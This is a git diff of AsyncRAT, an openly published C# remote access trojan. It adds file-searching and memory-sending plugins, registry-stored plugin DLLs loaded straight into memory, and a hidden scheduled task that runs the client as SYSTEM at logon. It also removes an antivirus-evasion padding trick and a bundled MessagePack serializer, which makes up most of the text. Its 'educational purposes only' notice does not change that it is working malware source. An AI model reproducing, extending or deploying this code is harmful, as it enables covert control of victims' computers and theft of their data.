diff --git a/AsyncRAT-C#/AsyncRAT-Sharp.sln b/AsyncRAT-C#/AsyncRAT-Sharp.sln index 7ab7379..b55545b 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp.sln +++ b/AsyncRAT-C#/AsyncRAT-Sharp.sln @@ -34,6 +34,12 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RemoteDesktop", "Plugin\Rem EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SendFile", "Plugin\SendFile\SendFile\SendFile.csproj", "{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}" EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SendMemory", "Plugin\SendMemory\SendMemory\SendMemory.csproj", "{0E423DD6-FAAF-4A66-8828-6A5A5F22269B}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FileSearcher", "Plugin\FileSearcher\FileSearcher\FileSearcher.csproj", "{9D1D39D8-2387-46ED-A4A8-59D250C97F35}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MessagePackLib", "MessagePack\MessagePackLib.csproj", "{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU @@ -92,6 +98,18 @@ Global {8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Debug|Any CPU.Build.0 = Debug|Any CPU {8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Release|Any CPU.ActiveCfg = Release|Any CPU {8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Release|Any CPU.Build.0 = Release|Any CPU + {0E423DD6-FAAF-4A66-8828-6A5A5F22269B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0E423DD6-FAAF-4A66-8828-6A5A5F22269B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0E423DD6-FAAF-4A66-8828-6A5A5F22269B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0E423DD6-FAAF-4A66-8828-6A5A5F22269B}.Release|Any CPU.Build.0 = Release|Any CPU + {9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Debug|Any CPU.Build.0 = Debug|Any CPU + {9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Release|Any CPU.ActiveCfg = Release|Any CPU + {9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Release|Any CPU.Build.0 = Release|Any CPU + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D}.Debug|Any CPU.Build.0 = Debug|Any CPU + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D}.Release|Any CPU.ActiveCfg = Release|Any CPU + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE @@ -108,6 +126,8 @@ Global {619B7612-DFEA-442A-A927-D997F99C497B} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} {9042B543-13D1-42B3-A5B6-5CC9AD55E150} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} {8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} + {0E423DD6-FAAF-4A66-8828-6A5A5F22269B} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} + {9D1D39D8-2387-46ED-A4A8-59D250C97F35} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {B9F2462F-603A-41C4-9CFC-1FAC60B4731C} diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index 2dc329d..e0fdf0b 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -1,5 +1,7 @@  + + Debug @@ -77,7 +79,6 @@ - @@ -88,11 +89,6 @@ - - - - - @@ -101,6 +97,8 @@ + + @@ -109,5 +107,23 @@ false + + + + + + {dc199d9e-cf10-41dd-bbcd-98e71ba8679d} + MessagePackLib + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Connection/ClientSocket.cs b/AsyncRAT-C#/Client/Connection/ClientSocket.cs index 67103e2..a19fbb4 100644 --- a/AsyncRAT-C#/Client/Connection/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Connection/ClientSocket.cs @@ -1,6 +1,5 @@ using Client.Handle_Packet; using Client.Helper; -using Client.MessagePack; using System; using System.Diagnostics; using System.IO; @@ -10,7 +9,7 @@ using System.Net.Security; using System.Security.Authentication; using System.Security.Cryptography.X509Certificates; using System.Net; -using Client.Algorithm; +using MessagePackLib.MessagePack; // │ Author : NYAN CAT // │ Name : Nyan Socket v0.1 diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs index e4ae405..bb87213 100644 --- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -1,14 +1,13 @@ using Client.Algorithm; using Client.Helper; -using Client.MessagePack; using Client.Connection; using System; using System.Diagnostics; using System.Reflection; using System.Threading; using System.Collections.Generic; -using Microsoft.VisualBasic; using System.Linq; +using MessagePackLib.MessagePack; namespace Client.Handle_Packet { @@ -57,7 +56,7 @@ namespace Client.Handle_Packet case "savePlugin": // save plugin as MD5:Base64 { - SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").AsString); + SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").GetAsBytes()); Debug.WriteLine("plugin saved"); foreach (MsgPack msgPack in Packs.ToList()) { @@ -79,7 +78,7 @@ namespace Client.Handle_Packet private static void Invoke(MsgPack unpack_msgpack) { - Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString))))); + Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString))); Type type = assembly.GetType("Plugin.Plugin"); dynamic instance = Activator.CreateInstance(type); instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BDOS, Settings.Install); diff --git a/AsyncRAT-C#/Client/Helper/IdSender.cs b/AsyncRAT-C#/Client/Helper/IdSender.cs index bfbc47f..0ac40e3 100644 --- a/AsyncRAT-C#/Client/Helper/IdSender.cs +++ b/AsyncRAT-C#/Client/Helper/IdSender.cs @@ -1,7 +1,6 @@ -using Client.MessagePack; +using MessagePackLib.MessagePack; using Microsoft.VisualBasic.Devices; using System; -using System.Diagnostics; using System.IO; using System.Windows.Forms; diff --git a/AsyncRAT-C#/Client/Helper/Methods.cs b/AsyncRAT-C#/Client/Helper/Methods.cs index 1e673a4..936170e 100644 --- a/AsyncRAT-C#/Client/Helper/Methods.cs +++ b/AsyncRAT-C#/Client/Helper/Methods.cs @@ -7,16 +7,19 @@ using System.Drawing.Imaging; using System.Runtime.InteropServices; using static Client.Helper.NativeMethods; using System.Text; +using System.IO; +using System.Windows.Forms; +using System.Threading; namespace Client.Helper { - static class Methods - { + public static class Methods + { public static bool IsAdmin() { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); } - public static void ClientExit() + public static void ClientOnExit() { try { diff --git a/AsyncRAT-C#/Client/Helper/SetRegistry.cs b/AsyncRAT-C#/Client/Helper/SetRegistry.cs index 6723938..4794013 100644 --- a/AsyncRAT-C#/Client/Helper/SetRegistry.cs +++ b/AsyncRAT-C#/Client/Helper/SetRegistry.cs @@ -18,13 +18,13 @@ namespace Client.Helper * This program is distributed for educational purposes only. */ - public static bool SetValue(string name, string value) + public static bool SetValue(string name, byte[] value) { try { using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID, RegistryKeyPermissionCheck.ReadWriteSubTree)) { - key.SetValue(name, value, RegistryValueKind.ExpandString); + key.SetValue(name, value, RegistryValueKind.Binary); return true; } } @@ -35,14 +35,14 @@ namespace Client.Helper return false; } - public static string GetValue(string value) + public static byte[] GetValue(string value) { try { using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID)) { object o = key.GetValue(value); - return (string)o; + return (byte[])o; } } catch (Exception ex) diff --git a/AsyncRAT-C#/Server/ILMerge.props b/AsyncRAT-C#/Client/ILMerge.props similarity index 100% rename from AsyncRAT-C#/Server/ILMerge.props rename to AsyncRAT-C#/Client/ILMerge.props diff --git a/AsyncRAT-C#/Server/ILMergeOrder.txt b/AsyncRAT-C#/Client/ILMergeOrder.txt similarity index 100% rename from AsyncRAT-C#/Server/ILMergeOrder.txt rename to AsyncRAT-C#/Client/ILMergeOrder.txt diff --git a/AsyncRAT-C#/Client/Install/NormalStartup.cs b/AsyncRAT-C#/Client/Install/NormalStartup.cs index ec037b9..caf0ca5 100644 --- a/AsyncRAT-C#/Client/Install/NormalStartup.cs +++ b/AsyncRAT-C#/Client/Install/NormalStartup.cs @@ -4,7 +4,6 @@ using Microsoft.Win32; using System; using System.Diagnostics; using System.IO; -using System.Security.Principal; using System.Threading; namespace Client.Install @@ -16,14 +15,10 @@ namespace Client.Install try { FileInfo installPath = new FileInfo(Path.Combine(Environment.ExpandEnvironmentVariables(Settings.InstallFolder), Settings.InstallFile)); - if (Process.GetCurrentProcess().MainModule.FileName != installPath.FullName) //check if payload is running from installation path + string currentProcess = Process.GetCurrentProcess().MainModule.FileName; + if (currentProcess != installPath.FullName) //check if payload is running from installation path { - for (int i = 0; i < 10; i++) - { - Thread.Sleep(1000); - } - foreach (Process P in Process.GetProcesses()) //kill any process which shares same path { try @@ -33,19 +28,16 @@ namespace Client.Install } catch { } } + if (Methods.IsAdmin()) //if payload is runnign as administrator install schtasks { - Process proc = new Process + Process.Start(new ProcessStartInfo { - StartInfo = new ProcessStartInfo - { - FileName = "schtasks.exe", - Arguments = "/create /f /sc ONLOGON /RL HIGHEST /tn " + @"""'" + Path.GetFileNameWithoutExtension(installPath.FullName) + @"""'" + " /tr " + @"""'" + installPath.FullName + @"""'", - WindowStyle = ProcessWindowStyle.Hidden, - CreateNoWindow = true, - } - }; - proc.Start(); + FileName = "cmd", + Arguments = "/c schtasks /create /f /sc onlogon /ru system /rl highest /tn " + Path.GetFileNameWithoutExtension(currentProcess) + " /tr " + "'" + "\"" + installPath.FullName + "\"" + "' & exit", + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + }); } else { @@ -62,16 +54,11 @@ namespace Client.Install Thread.Sleep(1000); } fs = new FileStream(installPath.FullName, FileMode.CreateNew); - byte[] clientExe = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName); + byte[] clientExe = File.ReadAllBytes(currentProcess); fs.Write(clientExe, 0, clientExe.Length); - - //prevent AV from sending sample by increasing the payload size - byte[] junk = new byte[new Random().Next(40 * 1024 * 1000, 50 * 1024 * 1000)]; - new Random().NextBytes(junk); - fs.Write(junk, 0, junk.Length); - fs.Dispose(); - Methods.ClientExit(); + Methods.ClientOnExit(); + string batch = Path.GetTempFileName() + ".bat"; using (StreamWriter sw = new StreamWriter(batch)) { @@ -81,6 +68,7 @@ namespace Client.Install sw.WriteLine("CD " + Path.GetTempPath()); sw.WriteLine("DEL " + "\"" + Path.GetFileName(batch) + "\"" + " /f /q"); } + Process.Start(new ProcessStartInfo() { FileName = batch, @@ -89,6 +77,7 @@ namespace Client.Install UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden }); + Environment.Exit(0); } } diff --git a/AsyncRAT-C#/Client/MessagePack/BytesTools.cs b/AsyncRAT-C#/Client/MessagePack/BytesTools.cs deleted file mode 100644 index 0397228..0000000 --- a/AsyncRAT-C#/Client/MessagePack/BytesTools.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Client.MessagePack -{ - public class BytesTools - { - static UTF8Encoding utf8Encode = new UTF8Encoding(); - - public static byte[] GetUtf8Bytes(String s) - { - - return utf8Encode.GetBytes(s); - } - - public static String GetString(byte[] utf8Bytes) - { - return utf8Encode.GetString(utf8Bytes); - } - - public static String BytesAsString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:D3} ", b)); - } - return sb.ToString(); - } - - - public static String BytesAsHexString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:X2} ", b)); - } - return sb.ToString(); - } - - /// - /// 交换byte数组数据 - /// 可用于高低数据交换 - /// - /// 要交换的byte数组 - /// 返回交换后的数据 - public static byte[] SwapBytes(byte[] v) - { - byte[] r = new byte[v.Length]; - int j = v.Length - 1; - for (int i = 0; i < r.Length; i++) - { - r[i] = v[j]; - j--; - } - return r; - } - - public static byte[] SwapInt64(Int64 v) - { - //byte[] r = new byte[8]; - //r[7] = (byte)v; - //r[6] = (byte)(v >> 8); - //r[5] = (byte)(v >> 16); - //r[4] = (byte)(v >> 24); - //r[3] = (byte)(v >> 32); - //r[2] = (byte)(v >> 40); - //r[1] = (byte)(v >> 48); - //r[0] = (byte)(v >> 56); - return SwapBytes(BitConverter.GetBytes(v)); - } - - public static byte[] SwapInt32(Int32 v) - { - byte[] r = new byte[4]; - r[3] = (byte)v; - r[2] = (byte)(v >> 8); - r[1] = (byte)(v >> 16); - r[0] = (byte)(v >> 24); - return r; - } - - - public static byte[] SwapInt16(Int16 v) - { - byte[] r = new byte[2]; - r[1] = (byte)v; - r[0] = (byte)(v >> 8); - return r; - } - - public static byte[] SwapDouble(Double v) - { - return SwapBytes(BitConverter.GetBytes(v)); - } - - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/MessagePack/MsgPack.cs b/AsyncRAT-C#/Client/MessagePack/MsgPack.cs deleted file mode 100644 index b77c94e..0000000 --- a/AsyncRAT-C#/Client/MessagePack/MsgPack.cs +++ /dev/null @@ -1,938 +0,0 @@ -/* - * 添加DecodeFormFile函数 - * 2015-07-14 16:31:32 - * - * 修复ForcePathObject查找不到子对象的bug,感谢(Putree 274638001)反馈 - * 2015-07-14 16:32:13 - * - * 修复整数值为127时解码出来为0的情况,感谢(Putree 274638001)反馈 - * 2015-07-14 15:28:45 - */ -using Client.Algorithm; -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - - -namespace Client.MessagePack -{ - public class MsgPackEnum : IEnumerator - { - List children; - int position = -1; - - public MsgPackEnum(List obj) - { - children = obj; - } - object IEnumerator.Current - { - get { return children[position]; } - } - - bool IEnumerator.MoveNext() - { - position++; - return (position < children.Count); - } - - void IEnumerator.Reset() - { - position = -1; - } - - } - - public class MsgPackArray - { - List children; - MsgPack owner; - - public MsgPackArray(MsgPack msgpackObj, List listObj) - { - owner = msgpackObj; - children = listObj; - } - - public MsgPack Add() - { - return owner.AddArrayChild(); - } - - public MsgPack Add(String value) - { - MsgPack obj = owner.AddArrayChild(); - obj.AsString = value; - return obj; - } - - public MsgPack Add(Int64 value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsInteger(value); - return obj; - } - - public MsgPack Add(Double value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsFloat(value); - return obj; - } - - public MsgPack this[int index] - { - get { return children[index]; } - } - - public int Length - { - get { return children.Count; } - } - } - - public class MsgPack : IEnumerable - { - string name; - string lowerName; - object innerValue; - MsgPackType valueType; - MsgPack parent; - List children = new List(); - MsgPackArray refAsArray = null; - - private void SetName(string value) - { - this.name = value; - this.lowerName = name.ToLower(); - } - - private void Clear() - { - for (int i = 0; i < children.Count; i++) - { - ((MsgPack)children[i]).Clear(); - } - children.Clear(); - } - - private MsgPack InnerAdd() - { - MsgPack r = new MsgPack(); - r.parent = this; - this.children.Add(r); - return r; - } - - private int IndexOf(string name) - { - int i = -1; - int r = -1; - - string tmp = name.ToLower(); - foreach (MsgPack item in children) - { - i++; - if (tmp.Equals(item.lowerName)) - { - r = i; - break; - } - } - return r; - } - - public MsgPack FindObject(string name) - { - int i = IndexOf(name); - if (i == -1) - { - return null; - } - else - { - return this.children[i]; - } - } - - - private MsgPack InnerAddMapChild() - { - if (valueType != MsgPackType.Map) - { - Clear(); - this.valueType = MsgPackType.Map; - } - return InnerAdd(); - } - - private MsgPack InnerAddArrayChild() - { - if (valueType != MsgPackType.Array) - { - Clear(); - this.valueType = MsgPackType.Array; - } - return InnerAdd(); - } - - public MsgPack AddArrayChild() - { - return InnerAddArrayChild(); - } - - private void WriteMap(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x80 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDE; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDF; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - for (int i = 0; i < len; i++) - { - WriteTools.WriteString(ms, children[i].name); - children[i].Encode2Stream(ms); - } - } - - private void WirteArray(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x90 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDC; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDD; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - - for (int i = 0; i < len; i++) - { - ((MsgPack)children[i]).Encode2Stream(ms); - } - } - - public void SetAsInteger(Int64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.Integer; - } - - public void SetAsUInt64(UInt64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.UInt64; - } - - public UInt64 GetAsUInt64() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToUInt64((Int64)this.innerValue); - case MsgPackType.UInt64: - return (UInt64)this.innerValue; - case MsgPackType.String: - return UInt64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToUInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToUInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToUInt64((DateTime)this.innerValue); - default: - return 0; - } - - } - - public Int64 GetAsInteger() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return (Int64)this.innerValue; - case MsgPackType.UInt64: - return Convert.ToInt64((Int64)this.innerValue); - case MsgPackType.String: - return Int64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - public Double GetAsFloat() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToDouble((Int64)this.innerValue); - case MsgPackType.String: - return Double.Parse((String)this.innerValue); - case MsgPackType.Float: - return (Double)this.innerValue; - case MsgPackType.Single: - return (Single)this.innerValue; - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - - public void SetAsBytes(byte[] value) - { - this.innerValue = value; - this.valueType = MsgPackType.Binary; - } - - public byte[] GetAsBytes() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return BitConverter.GetBytes((Int64)this.innerValue); - case MsgPackType.String: - return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); - case MsgPackType.Float: - return BitConverter.GetBytes((Double)this.innerValue); - case MsgPackType.Single: - return BitConverter.GetBytes((Single)this.innerValue); - case MsgPackType.DateTime: - long dateval = ((DateTime)this.innerValue).ToBinary(); - return BitConverter.GetBytes(dateval); - case MsgPackType.Binary: - return (byte[])this.innerValue; - default: - return new byte[] { }; - } - } - - public void Add(string key, String value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsString(value); - } - - public void Add(string key, int value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsInteger(value); - } - - public bool LoadFileAsBytes(string fileName) - { - if (File.Exists(fileName)) - { - byte[] value = null; - FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); - value = new byte[fs.Length]; - fs.Read(value, 0, (int)fs.Length); - fs.Close(); - fs.Dispose(); - SetAsBytes(value); - return true; - } - else - { - return false; - } - - } - - public bool SaveBytesToFile(string fileName) - { - if (this.innerValue != null) - { - FileStream fs = new FileStream(fileName, FileMode.Append); - fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); - fs.Close(); - fs.Dispose(); - return true; - } - else - { - return false; - } - } - - public MsgPack ForcePathObject(string path) - { - MsgPack tmpParent, tmpObject; - tmpParent = this; - string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); - string tmp = null; - if (pathList.Length == 0) - { - return null; - } - else if (pathList.Length > 1) - { - for (int i = 0; i < pathList.Length - 1; i++) - { - tmp = pathList[i]; - tmpObject = tmpParent.FindObject(tmp); - if (tmpObject == null) - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - } - else - { - tmpParent = tmpObject; - } - } - } - tmp = pathList[pathList.Length - 1]; - int j = tmpParent.IndexOf(tmp); - if (j > -1) - { - return tmpParent.children[j]; - } - else - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - return tmpParent; - } - } - - public void SetAsNull() - { - Clear(); - this.innerValue = null; - this.valueType = MsgPackType.Null; - } - - public void SetAsString(String value) - { - this.innerValue = value; - this.valueType = MsgPackType.String; - } - - public String GetAsString() - { - if (this.innerValue == null) - { - return ""; - } - else - { - return this.innerValue.ToString(); - } - - } - - public void SetAsBoolean(Boolean bVal) - { - this.valueType = MsgPackType.Boolean; - this.innerValue = bVal; - } - - public void SetAsSingle(Single fVal) - { - this.valueType = MsgPackType.Single; - this.innerValue = fVal; - } - - public void SetAsFloat(Double fVal) - { - this.valueType = MsgPackType.Float; - this.innerValue = fVal; - } - - - - public void DecodeFromBytes(byte[] bytes) - { - using (MemoryStream ms = new MemoryStream()) - { - bytes = Zip.Decompress(bytes); - ms.Write(bytes, 0, bytes.Length); - ms.Position = 0; - DecodeFromStream(ms); - } - } - - public void DecodeFromFile(string fileName) - { - FileStream fs = new FileStream(fileName, FileMode.Open); - DecodeFromStream(fs); - fs.Dispose(); - } - - - - public void DecodeFromStream(Stream ms) - { - byte lvByte = (byte)ms.ReadByte(); - byte[] rawByte = null; - MsgPack msgPack = null; - int len = 0; - int i = 0; - - if (lvByte <= 0x7F) - { //positive fixint 0xxxxxxx 0x00 - 0x7f - SetAsInteger(lvByte); - } - else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Map; - len = lvByte - 0x80; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Array; - len = lvByte - 0x90; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf - { - len = lvByte - 0xA0; - SetAsString(ReadTools.ReadString(ms, len)); - } - else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) - { /// -1..-32 - // negative fixnum stores 5-bit negative integer - // +--------+ - // |111YYYYY| - // +--------+ - SetAsInteger((sbyte)lvByte); - } - else if (lvByte == 0xC0) - { - SetAsNull(); - } - else if (lvByte == 0xC1) - { - throw new Exception("(never used) type $c1"); - } - else if (lvByte == 0xC2) - { - SetAsBoolean(false); - } - else if (lvByte == 0xC3) - { - SetAsBoolean(true); - } - else if (lvByte == 0xC4) - { // max 255 - len = ms.ReadByte(); - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC5) - { // max 65535 - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToUInt16(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC6) - { // binary max: 2^32-1 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) - { - throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); - } - else if (lvByte == 0xCA) - { // float 32 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - - SetAsSingle(BitConverter.ToSingle(rawByte, 0)); - } - else if (lvByte == 0xCB) - { // float 64 - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsFloat(BitConverter.ToDouble(rawByte, 0)); - } - else if (lvByte == 0xCC) - { // uint8 - // uint 8 stores a 8-bit unsigned integer - // +--------+--------+ - // | 0xcc |ZZZZZZZZ| - // +--------+--------+ - lvByte = (byte)ms.ReadByte(); - SetAsInteger(lvByte); - } - else if (lvByte == 0xCD) - { // uint16 - // uint 16 stores a 16-bit big-endian unsigned integer - // +--------+--------+--------+ - // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); - } - else if (lvByte == 0xCE) - { - // uint 32 stores a 32-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+ - // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); - } - else if (lvByte == 0xCF) - { - // uint 64 stores a 64-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); - } - else if (lvByte == 0xDC) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDD) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xD9) - { - // str 8 stores a byte array whose length is upto (2^8)-1 bytes: - // +--------+--------+========+ - // | 0xd9 |YYYYYYYY| data | - // +--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // 